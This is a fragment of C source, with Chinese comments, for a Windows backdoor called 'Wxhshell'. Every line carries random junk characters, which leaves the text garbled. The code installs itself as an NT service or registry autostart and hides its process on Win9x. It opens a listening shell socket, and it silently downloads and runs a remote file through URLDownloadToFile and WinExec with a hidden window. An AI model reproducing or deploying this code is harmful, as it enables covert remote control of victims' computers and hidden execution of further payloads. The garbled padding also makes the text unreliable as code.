ULONG UniqueProcessId; s!BZrVM%I`
ULONG InheritedFromUniqueProcessId; X1h*.reFAL
} PROCESS_BASIC_INFORMATION; v{>9&o.J
v]KI=!Gs
PROCNTQSIP NtQueryInformationProcess; y/A<eHLy
@Cd}1OT)
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }A_>J7w
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~f%AbDye
t!vlZNc
HANDLE hProcess; o)6udRzBv
PROCESS_BASIC_INFORMATION pbi; 8"S?
Toqq
\U'TL_Ql
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5'O.l$)y
if(NULL == hInst ) return 0; u&Dd9kMz
iJK rNRj
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4K*DEVS
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CU(W0D
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s((_^yf
?GGh )";y
if (!NtQueryInformationProcess) return 0; @-qC".CI
()i!Uo
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZZl4|
if(!hProcess) return 0; EC|b7
h!>NS ?X7
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5B=Wnau
[Z?vC
CloseHandle(hProcess); ./;*LD
U^X8{,8O
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -?<L"u
if(hProcess==NULL) return 0; 5Bc)QKh`l|
=!Y{Mz
HMODULE hMod; Ti9cN)lq&
char procName[255]; TDQh ^Wo
unsigned long cbNeeded; U_,K_6vj
&U/~*{
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QCWk[Gx
cM'5m
CloseHandle(hProcess); =8fZG
t
@'!61'}f
if(strstr(procName,"services")) return 1; // 以服务启动 S$I:rbc
ETVT.R8
return 0; // 注册表启动 >taZw'
} xR;-qSl7Ms
Swz1RT
// 主模块 9w FQ<r
int StartWxhshell(LPSTR lpCmdLine) KGX?\#-
{ U!x\oLP
SOCKET wsl; QcQ|,lA.HI
BOOL val=TRUE; ;EfMTI}6K
int port=0; KPA5 X]
struct sockaddr_in door; MXhRnVz"W
B1Iq:5nmoS
if(wscfg.ws_autoins) Install(); {N,w5!cP
T{lJ[M
port=atoi(lpCmdLine); [}_ar
7e"(]NC84
if(port<=0) port=wscfg.ws_port; uNY]%[AnJ
!f\6=Z?>3
WSADATA data; DEC,oX!bI1
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yMa5?]J
SVo`p;2r
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; T't^pO-`
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t hDE
1h
door.sin_family = AF_INET; ~dwl7Qc
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q$9`QY*6"p
door.sin_port = htons(port); jWW2&cBm\
p8^^Pva/
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .ODtduURe
closesocket(wsl); =;$&:Zjy/%
return 1; kB]|4CG{
} QrPWS-3~!
q 9pcEm4?
if(listen(wsl,2) == INVALID_SOCKET) { fwQ%mU+
closesocket(wsl); )V}u1C-N
return 1; #UJ@P Dwil
} EH$wWl^
Wxhshell(wsl); i,,>@R
WSACleanup(); z[
;{p.W
4p~:(U[q
return 0; (<.1o_Q-LU
2s6Hr;^w.1
} {_/6,22j(V
I>-jKSkwc
// 以NT服务方式启动 (|5g`JDG
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q#Qr@Jf
{ _bks*.9}3b
DWORD status = 0; Gf'V68,l$
DWORD specificError = 0xfffffff; xI~\15PhG
uj/le0
serviceStatus.dwServiceType = SERVICE_WIN32; ZcO!cR&*'J
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Qzh:*O
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R/O_*XY
serviceStatus.dwWin32ExitCode = 0; 1ck2Gxn
serviceStatus.dwServiceSpecificExitCode = 0; T+4Musu{V
serviceStatus.dwCheckPoint = 0; j`'=K_+nU
serviceStatus.dwWaitHint = 0; W3 8=fyD
\aUbBa%!
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); % NS]z ;G
if (hServiceStatusHandle==0) return; +uwjZN'9a
$9 DZ5"
status = GetLastError(); -RH ?FJ
if (status!=NO_ERROR) =C\S6bF%
{ \^-3)*r
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?\#4`9
serviceStatus.dwCheckPoint = 0; bt&vik _
serviceStatus.dwWaitHint = 0; Hab9~v ]
serviceStatus.dwWin32ExitCode = status; O.K8$
serviceStatus.dwServiceSpecificExitCode = specificError; vPwDV_z k
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <qRw!
'S^
return; `g :<$3}
} u%[*;@;9+
jv|IV
serviceStatus.dwCurrentState = SERVICE_RUNNING; !Xj m h$F
serviceStatus.dwCheckPoint = 0; rjR
serviceStatus.dwWaitHint = 0; H[Pb Wy:
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); puqH%m+u
} >LU*F|F]B
E>6zwp
// 处理NT服务事件,比如:启动、停止 4
|5ekwk
VOID WINAPI NTServiceHandler(DWORD fdwControl) kh,M'XbTo
{ Iwn@%?7
switch(fdwControl) MB |(,{S
{ Ol%*3To
case SERVICE_CONTROL_STOP: t583Q/1@
serviceStatus.dwWin32ExitCode = 0; !6 $>|
serviceStatus.dwCurrentState = SERVICE_STOPPED; nf
G:4k,
serviceStatus.dwCheckPoint = 0; [7s5Vt|
serviceStatus.dwWaitHint = 0; ;Ok11wOw
{ ?<LG(WY
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2iG(v._x
} D@JHi'F
return; 6|dUz*Pr|\
case SERVICE_CONTROL_PAUSE: #i]@"R
serviceStatus.dwCurrentState = SERVICE_PAUSED; }>
1h+O
break; ~IWi@m{
case SERVICE_CONTROL_CONTINUE: yauP j&^R
serviceStatus.dwCurrentState = SERVICE_RUNNING; d,)F #;^5
break; Z.mV fy%
case SERVICE_CONTROL_INTERROGATE: gaCGU<L
break; ckP3[@Su {
}; ca-n:1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1)PR]s:-m@
} ntkinbbD
/Bwea];^Q
// 标准应用程序主函数 P`%ppkzV6
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =4%C?(\
{ vaxg^n|v9
S2s-TpjB<
// 获取操作系统版本 &S-& 'ZAY
OsIsNt=GetOsVer(); 0,A?*CO
GetModuleFileName(NULL,ExeFile,MAX_PATH); Em]T.'y
!KlSw,&=.6
// 从命令行安装 CM#EA"9
if(strpbrk(lpCmdLine,"iI")) Install(); 0$_imjZ
d!LV@</
// 下载执行文件 <V8i>LBlz
if(wscfg.ws_downexe) { &sNID4FR
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aw4+1.xy
WinExec(wscfg.ws_filenam,SW_HIDE); T8(wzs
} GSFT(XX
t/D
Q<B_
if(!OsIsNt) { Y'HF^jv]R
// 如果时win9x,隐藏进程并且设置为注册表启动 N*MR6~z4
HideProc(); 0* "j:V
StartWxhshell(lpCmdLine); =dw1Q
} AP7W)S
else 7w$R-Y/E
if(StartFromService()) lKD@2
// 以服务方式启动 7 r<>^j'
StartServiceCtrlDispatcher(DispatchTable); w${=dW@K
else C/vLEpP{(/
// 普通方式启动 JS:lysu
StartWxhshell(lpCmdLine); D7(t6C=FP
A X#!9-m3
return 0; U`Ag|R
} hpyre B
Sp )}
"$'~=' [
6K y;1$
=========================================== BT1'@qF
yk)j;i4@
4Qo1f5>N
B<&_lG0s